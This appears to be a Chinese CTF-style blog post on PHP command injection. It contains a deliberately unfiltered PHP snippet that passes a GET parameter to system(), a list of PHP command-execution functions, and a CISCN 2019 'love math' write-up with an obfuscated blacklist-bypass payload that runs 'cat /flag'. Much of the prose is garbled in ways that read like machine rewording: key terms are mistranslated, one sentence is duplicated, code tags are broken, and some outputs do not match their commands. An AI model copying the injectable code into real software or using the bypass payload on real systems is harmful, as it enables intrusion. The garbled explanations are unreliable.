一、前记
学习到这个知识点的时候在上实训课,忙里偷闲的写了这篇文章(实训实在是无力吐槽)。其实这个命令执行的突破以前学过,但是没有系统的总结过,这次就想着总结一下
二,什么是命令执行造成的突破
命令执行分辨率概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的系统,exec,shell_exec等,当用户可以控制命令执行函数中一般使用ls,cat,whoami来进行命令执行的代码。
三,从代码分析是如何造成任意命令执行突破的
主要是由代码里面的部分重置函数没有被过滤,给了重置函数的可趁之机,例如:
现在我的PHP代码里面是如下的代码:
<?php
$arg =$_GET['cmd'];
if ($arg) {
system("$arg");
}
?>
在上面的代码里面没有任何过滤机制,因此我们在调用cmd参数后面的内容时就可以任意调用查看。

(上图是查看了IP内容,可以看到,在CMD参数的后面添加上我们所选择的内容,在这里我们选择了IPCONFIG)
或者也可以是执行一个动态的命令,例如像ping这样的动态命令,或者也可以是执行一个动态的命令,例如像ping这样的动态命令

四,PHP中常见的命令执行函数
常见的命令执行函数有特定之处:
方法一:eval()
eval()函数把字符串按照PHP代码来计算
格式:eval(“ 命令 ”);
例:
<?php
eval("echo ('aaaaa');");
//结果为aaaaa
?>
方法二:system()
格式:system(“ 命令 ”);
<?php
system("echo 'aaaaaa';");
//结果为aaaaaa
?>
方法三:pas sthru()
格式:passthru(“命令”);
<?php
passthru("echo 'aaaaaaa';");
//结果为aaaaaaa
?>
方法四:exec()
格式:exec(字符串$命令[,副本和$输出[,int&$ return_var]]);
$ command:表示要执行的命令。
$ output:如果提供了输出参数,那么会用命令执行的输出替换此数组,每行输出分解中的一个元素。分散中的数据不包含行尾的空白字符,例如\ n字符。请注意,如果您不想在摘要末尾进行追加,请在执行exec()函数之前对合并使用unset()函数进行重置。
$return_var:如果同时提供output 和 return_var 参数, 命令执行后的返回状态会被写入到此变量。
一般来说,command是必选项。
exec()函数稍微有点特殊,他的用法和前面几个的用法都有点不太一样,但是也更加的多元化。
<?php
echo exec("whoami");
//结果为aaaaaa
?>
<?php
$a="whoami";
exec($a,$b);
print_r($b);
//结果为Array
//(
// [0] => aaaaa
//)
?>
方法五:shell_exec()
格式:shell_exec(“”);
?php
echo shell_exec("echo 'aaaaa';");
//结果为aaaaa
?>
方法六:`(反单引号)
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。
<?php
echo `whoami`;
//结果为aaaaa
?>
2019年CISCN初赛-love math
第一步:先查看题目所给的源码,然后代码审计

经过代码审计发现里面限定了不少的东西,像代码里面设置了黑名单,还有正则匹配的东西。我们先来看看正则匹配的东西:
1、preg_match_all函数:int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )
· $pattern: 要搜索的模式,字符串形式。
· $subject: 输入字符串。
· $matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。
· $flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):
1. PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
2. PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。
3. PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。
· offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。
那我需要使用一个网站来看看我们输入的内容是否符合正则匹配。
审计完代码之后我们来总结一下:该代码首先检查了GET函数里面有没有参数c,如果没有的话就保持当前页面;再检查c后面的长度有多长,如果长度大于80的话就不能执行;然后设置了白名单,黑名单,正则匹配等规则,如果检测出来了非法字符,会被提醒“不要输入奇奇怪怪的字符”;如果以上都检测完毕合格,就使用eval函数执行计算
第二步:利用$和白名单里面的限定内容以及正则匹配的东西来构建payload。
4c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
分析:
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
出现flag
